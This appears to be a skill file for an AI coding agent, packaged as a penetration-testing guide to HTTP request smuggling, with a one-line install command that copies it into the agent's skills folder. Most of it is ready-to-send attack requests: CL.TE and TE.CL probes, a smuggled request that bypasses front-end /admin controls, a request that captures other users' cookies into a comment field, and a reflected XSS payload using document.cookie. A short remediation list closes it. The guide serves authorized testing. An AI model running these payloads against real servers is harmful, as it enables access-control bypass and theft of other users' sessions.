Asi exploiting-http-request-smuggling
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
git clone https://github.com/plurigrid/asi
T=$(mktemp -d) && git clone --depth=1 https://github.com/plurigrid/asi "$T" && mkdir -p ~/.claude/skills && cp -r "$T/plugins/asi/skills/exploiting-http-request-smuggling" ~/.claude/skills/plurigrid-asi-exploiting-http-request-smuggling && rm -rf "$T"
plugins/asi/skills/exploiting-http-request-smuggling/SKILL.mdExploiting HTTP Request Smuggling
When to Use
- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
- For assessing applications for HTTP desynchronization vulnerabilities
- When other attack vectors are limited and you need to bypass front-end security controls
- During security assessments of multi-tier web architectures
Prerequisites
- Authorization: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
- Burp Suite Professional: With HTTP Request Smuggler extension (Turbo Intruder)
- smuggler.py: Automated HTTP request smuggling detection tool
- curl: Compiled with HTTP/1.1 support and manual chunked encoding
- Target architecture knowledge: Understanding of proxy/server chain (front-end and back-end)
- Caution: Request smuggling can affect other users' requests; test carefully
Workflow
Step 1: Identify the HTTP Architecture
Determine the proxy/server chain and HTTP parsing characteristics.
# Identify front-end proxy/CDN curl -s -I "https://target.example.com/" | grep -iE \ "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)" # Common architectures: # Cloudflare → Nginx → Application # AWS ALB → Apache → Application # HAProxy → Gunicorn → Python app # Nginx → Node.js/Express # Akamai → IIS → .NET app # Check HTTP version support curl -s -I --http1.1 "https://target.example.com/" | head -1 curl -s -I --http2 "https://target.example.com/" | head -1 # Check if Transfer-Encoding is supported curl -s -X POST \ -H "Transfer-Encoding: chunked" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "0\r\n\r\n" \ "https://target.example.com/" -w "%{http_code}" # Check for HTTP/2 downgrade to HTTP/1.1 on backend # Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
Step 2: Test for CL.TE Smuggling
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
# In Burp Suite Repeater, disable "Update Content-Length" option # Send the following request manually: POST / HTTP/1.1 Host: target.example.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED # If vulnerable (CL.TE): # Front-end reads 13 bytes (Content-Length), forwards entire request # Back-end reads chunked: "0\r\n\r\n" = end of body # "SMUGGLED" becomes the start of the next request # Detection technique: Time-based # If back-end reads chunked and sees incomplete chunk, it waits: POST / HTTP/1.1 Host: target.example.com Content-Length: 4 Transfer-Encoding: chunked 1 A X # If response is delayed (~5-10 seconds), CL.TE is likely
Step 3: Test for TE.CL Smuggling
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
# Burp Repeater - disable "Update Content-Length" POST / HTTP/1.1 Host: target.example.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 # If vulnerable (TE.CL): # Front-end reads chunked: chunk "SMUGGLED" + final "0" # Back-end reads 3 bytes of Content-Length: "8\r\n" # Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix # Detection via differential response: POST / HTTP/1.1 Host: target.example.com Content-Length: 6 Transfer-Encoding: chunked 0 X # Front-end (TE): reads "0\r\n\r\n", sees end # Back-end (CL): reads 6 bytes "0\r\nX\r\n" # Next request gets "X" prepended, causing 400/405 errors
Step 4: Use Automated Detection Tools
Run automated scanners to detect smuggling variants.
# Using smuggler.py git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -u "https://target.example.com/" -m GET POST # Using Burp HTTP Request Smuggler extension # 1. Install from BApp Store: "HTTP Request Smuggler" # 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe # 3. Check Scanner > Issue Activity for results # Using h2csmuggler for HTTP/2 smuggling # git clone https://github.com/BishopFox/h2cSmuggler.git python3 h2csmuggler.py -x "https://target.example.com/" \ "https://target.example.com/admin" # Manual detection with Turbo Intruder # Send paired requests with different timing # First request: smuggling prefix # Second request: normal request that gets affected
Step 5: Exploit Request Smuggling for Impact
Leverage confirmed smuggling for practical attacks.
# Attack 1: Bypass front-end access controls # Access /admin which is blocked by the front-end proxy # CL.TE exploit: POST / HTTP/1.1 Host: target.example.com Content-Length: 56 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: target.example.com Foo: x # The smuggled "GET /admin" request bypasses front-end restrictions # because it's processed by the back-end directly # Attack 2: Capture other users' requests # Smuggle a request that stores the next user's request in a visible location POST / HTTP/1.1 Host: target.example.com Content-Length: 130 Transfer-Encoding: chunked 0 POST /api/comments HTTP/1.1 Host: target.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 body= # The next legitimate user's request gets appended to "body=" # and stored as a comment, exposing their cookies and headers # Attack 3: Reflected XSS escalation # Smuggle a request that will reflect XSS in the next response POST / HTTP/1.1 Host: target.example.com Content-Length: 150 Transfer-Encoding: chunked 0 GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1 Host: target.example.com Content-Length: 10 Foo: x # Next user receives the XSS response instead of their expected response
Step 6: Test HTTP/2 Request Smuggling
Assess HTTP/2 specific smuggling vectors.
# HTTP/2 smuggling via CRLF injection in headers # HTTP/2 should reject \r\n in header values, but some proxies don't # H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end # Send HTTP/2 request with mismatched :path and content # Using Burp Suite with HTTP/2 support: # 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2 # 2. Craft request with conflicting CL header # HTTP/2 header injection # Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header # Some front-ends strip TE from HTTP/1.1 but not from HTTP/2 # Test HTTP/2 request tunneling # If front-end reuses HTTP/2 connections for multiple users: # Poison the connection to affect subsequent requests # H2.TE smuggling via HTTP/2 CONNECT # Use CONNECT method in HTTP/2 to establish tunnels # that bypass front-end security controls
Key Concepts
| Concept | Description |
|---|---|
| CL.TE Smuggling | Front-end uses Content-Length, back-end uses Transfer-Encoding |
| TE.CL Smuggling | Front-end uses Transfer-Encoding, back-end uses Content-Length |
| TE.TE Smuggling | Both use Transfer-Encoding but parse obfuscated TE headers differently |
| HTTP Desync | State where front-end and back-end disagree on request boundaries |
| Request Splitting | One HTTP request is interpreted as two separate requests |
| Connection Poisoning | Smuggled data affects the next request on the same TCP connection |
| H2.CL Smuggling | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Manual request crafting with disabled auto Content-Length |
| HTTP Request Smuggler (Burp) | Automated smuggling detection extension by James Kettle |
| smuggler.py | Python-based automated HTTP request smuggling scanner |
| h2cSmuggler | HTTP/2 cleartext smuggling tool from Bishop Fox |
| Turbo Intruder | High-speed request engine for time-sensitive smuggling tests |
| curl | Manual HTTP request crafting with precise byte control |
Common Scenarios
Scenario 1: Admin Panel Access Bypass
The front-end proxy blocks
/admin requests. A CL.TE smuggling attack prepends GET /admin to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
Scenario 2: Cookie Theft via Request Capture
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
Scenario 3: Cache Poisoning via Smuggling
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
Scenario 4: HTTP/2 Desync on CDN
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
Output Format
## HTTP Request Smuggling Finding **Vulnerability**: CL.TE HTTP Request Smuggling **Severity**: Critical (CVSS 9.1) **Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn) **OWASP Category**: A05:2021 - Security Misconfiguration ### Architecture Front-end: Cloudflare (Content-Length priority) Back-end: Gunicorn (Transfer-Encoding priority) Protocol: HTTP/1.1 between proxy and origin ### Reproduction Steps 1. Send POST request with both Content-Length and Transfer-Encoding headers 2. Content-Length set to include smuggled request prefix 3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body 4. Smuggled data becomes prefix of next back-end request ### Confirmed Exploits | Exploit | Impact | |---------|--------| | Admin bypass | Accessed /admin without authentication | | Request capture | Stole session cookies from other users | | XSS escalation | Delivered reflected XSS to arbitrary users | | Cache poisoning | Poisoned CDN cache with malicious response | ### Recommendation 1. Ensure front-end and back-end use the same HTTP parsing behavior 2. Reject ambiguous requests with both Content-Length and Transfer-Encoding 3. Upgrade to HTTP/2 end-to-end (no protocol downgrade) 4. Use HTTP/2 between proxy and origin server 5. Normalize requests at the front-end before forwarding